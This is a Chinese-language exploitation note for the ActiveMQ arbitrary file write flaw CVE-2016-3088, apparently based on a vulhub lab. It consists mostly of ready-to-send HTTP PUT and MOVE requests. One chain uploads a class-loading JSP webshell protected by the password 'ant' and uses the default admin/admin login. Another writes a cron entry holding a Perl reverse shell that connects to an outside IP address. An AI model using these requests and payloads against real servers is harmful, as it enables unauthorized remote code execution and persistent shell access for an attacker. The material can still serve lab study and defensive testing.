ActiveMQ 任意文件写入漏洞（CVE-2016-3088）

ActiveMQ 任意文件写入漏洞（CVE-2016-3088）

https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md

影响范围：ActiveMQ在5.12.x~5.13.x版本中，已经默认关闭了fileserver这个应用（你可以在conf/jetty.xml中开启之）；在5.14.0；版本以后，彻底删除了fileserver应用。

默认密码：admin/admin

getshell

利用webshell

查看默认路径

http://your-ip:8161/admin/test/systemProperties.jsp
	activemq.home	/opt/activemq
http://your-ip:8161/admin/test/

exp

上传webshell（密码：ant）

PUT /fileserver/xbb.txt HTTP/1.1
Host: 192.168.225.134:8161
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Connection: close
Cache-Control: 120976
Content-Length: 1186

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }

    public byte[] base64Decode(String str) throws Exception {
      Class base64;
      byte[] value = null;
      try {
        base64=Class.forName("sun.misc.BASE64Decoder");
        Object decoder = base64.newInstance();
        value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
      } catch (Exception e) {
        try {
          base64=Class.forName("java.util.Base64");
          Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
          value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
        } catch (Exception ee) {}
      }
      return value;
    }
%>
<%
    String cls = request.getParameter("ant");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(new Object[]{request,response});
    }
%>

访问http://192.168.225.134:8161/fileserver/xbb.txt看一下是否成功

移动webshell

MOVE /fileserver/xbb.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/xbb.jsp
Host: 192.168.225.134:8161
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Connection: close
Cache-Control: 0

访问查看是否成功

使用值登录

Authorization: Basic YWRtaW46YWRtaW4=

利用crontab反弹shell

PUT /fileserver/xbb.txt HTTP/1.1
Host: 192.168.225.134:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: closes
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="106.15.181.34";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

MOVE /fileserver/xbb.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.225.134:8161
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Connection: close
Cache-Control: 0

cron.d文件详解
https://blog.51cto.com/u_13886444/2317402
查看cron执行历史
tail -f /var/log/cron